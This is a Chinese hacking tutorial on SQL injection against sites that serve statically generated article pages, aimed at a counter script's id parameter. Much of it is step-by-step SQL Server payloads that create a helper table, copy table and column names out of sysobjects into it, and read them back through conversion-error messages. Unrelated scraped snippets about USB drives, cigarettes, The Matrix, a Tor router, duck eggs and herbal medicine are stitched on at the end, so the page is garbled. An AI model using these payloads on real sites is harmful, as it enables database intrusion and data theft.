大家在是否碰到过这样的站点:
全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击 *** :
查看源文件/看里面是否有通过 *** 来调用的页面。
如调用来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552’
看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
好用的到处都是的U盘是最容易被大家忽略的,很多童靴都不会计较U盘是如何退出的,在我们短暂的人生中谁有工夫管U盘是不是安全退出的呢?为了方便使用U盘后当然是直接拔下,然而,这种不正确使用方法,让U盘文件...
偶这一百多一条 零售硬中华是45元阁下一包,420—430元一条。 价值 我不知道上面那些说软中华300,400,而且本身手里有货的,是在那边买的!。我昨天刚在日上免税店买的540一条软中华...
本文导读目录: 1、黑客帝国3里面,祭师房间的门上到底写的是什么? 2、《黑客帝国》先知家房门上写的是什么 3、我想知道《黑客帝国》的大概内容。 4、《黑客帝国》里的那些门是什么意思?每一...
怎样在淘宝网接单子干活儿-树莓派打造圆葱Tor代理路由器 本文将给大伙儿讲下,怎么使用树莓派打造洋葱路由,它能够协助你搭建安全性的网络空间。 平常有感觉到他人在监管你么,无需再担忧啦,如今要是应用...
咸鸭蛋是每个人都爱吃的美食,不管是蛋黄炒饭,还是蛋白下饭,都是非常具有营养的,很多人觉得腌制咸鸭蛋很简单,但是大部分做了之后,不是没有腌制好,就是太咸了,今天我就教大家3种腌制鸭蛋的方法,不仅吃起来香...
板蓝根的功效与作用,板蓝根不适合人群,对于能够影响到我们的身体的健康的疾病我们要重视预防,但是对于一些能够给我们的身体健康带来好处的一些东西也是要多加重视起来的,首先我们一定要重视板蓝根的功效,其...